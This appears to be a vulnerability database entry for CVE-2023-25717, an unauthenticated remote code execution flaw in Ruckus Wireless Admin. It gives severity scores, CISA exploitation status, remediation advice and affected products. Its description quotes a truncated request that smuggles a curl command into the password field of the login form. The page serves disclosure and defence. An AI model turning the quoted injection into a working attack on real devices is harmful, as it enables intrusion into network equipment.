Evil-DB LogoEvil-DB
← All CVEs

CVE-2023-25717

critical · 9.8Actively exploited

On the CISA Known Exploited Vulnerabilities catalog

Apply updates per vendor instructions or disconnect product if it is end-of-life.

Added 2023-05-12Remediation due 2023-06-02

A public exploit / detection template exists

Weaponised detection is publicly available, which meaningfully raises real-world risk regardless of CVSS. nuclei-templates →

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

9.8
CVSS
98.1%
EPSS (exploit prob.)
100th
EPSS percentile
2023-02-13
Published

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CWE-94

Affected products

VendorProductAffected versions
ruckuswirelessruckus_wireless_admin<= 10.4
ruckuswirelesssmartzone_ap< 6.1.0.0.9240
ruckuswirelesse510all versions
ruckuswirelessh320all versions
ruckuswirelessh350all versions
ruckuswirelessh510all versions
ruckuswirelessh550all versions
ruckuswirelessm510all versions
ruckuswirelessr310all versions
ruckuswirelessr320all versions
ruckuswirelessr350all versions
ruckuswirelessr510all versions
ruckuswirelessr550all versions
ruckuswirelessr610all versions
ruckuswirelessr650all versions
ruckuswirelessr710all versions
ruckuswirelessr720all versions
ruckuswirelessr730all versions
ruckuswirelessr750all versions
ruckuswirelessr760all versions
ruckuswirelessr850all versions
ruckuswirelesssz-144all versions
ruckuswirelesssz100all versions
ruckuswirelesssz300all versions
ruckuswirelesst310call versions
ruckuswirelesst310dall versions
ruckuswirelesst310nall versions
ruckuswirelesst310sall versions
ruckuswirelesst350call versions
ruckuswirelesst350dall versions
ruckuswirelesst350seall versions
ruckuswirelesst610all versions
ruckuswirelesst710all versions
ruckuswirelesst710sall versions
ruckuswirelesst750all versions
ruckuswirelesst750seall versions
ruckuswirelesst811-cmall versions
ruckuswirelessruckus_wireless_admin<= 10.4
ruckuswirelesssmartzone_ap< 5.2.2.0.2064
ruckuswirelesse510all versions

Check a specific version with /api/v1/cve/match.

References

Query this programmatically:

curl https://evil-db.io/api/v1/cve/CVE-2023-25717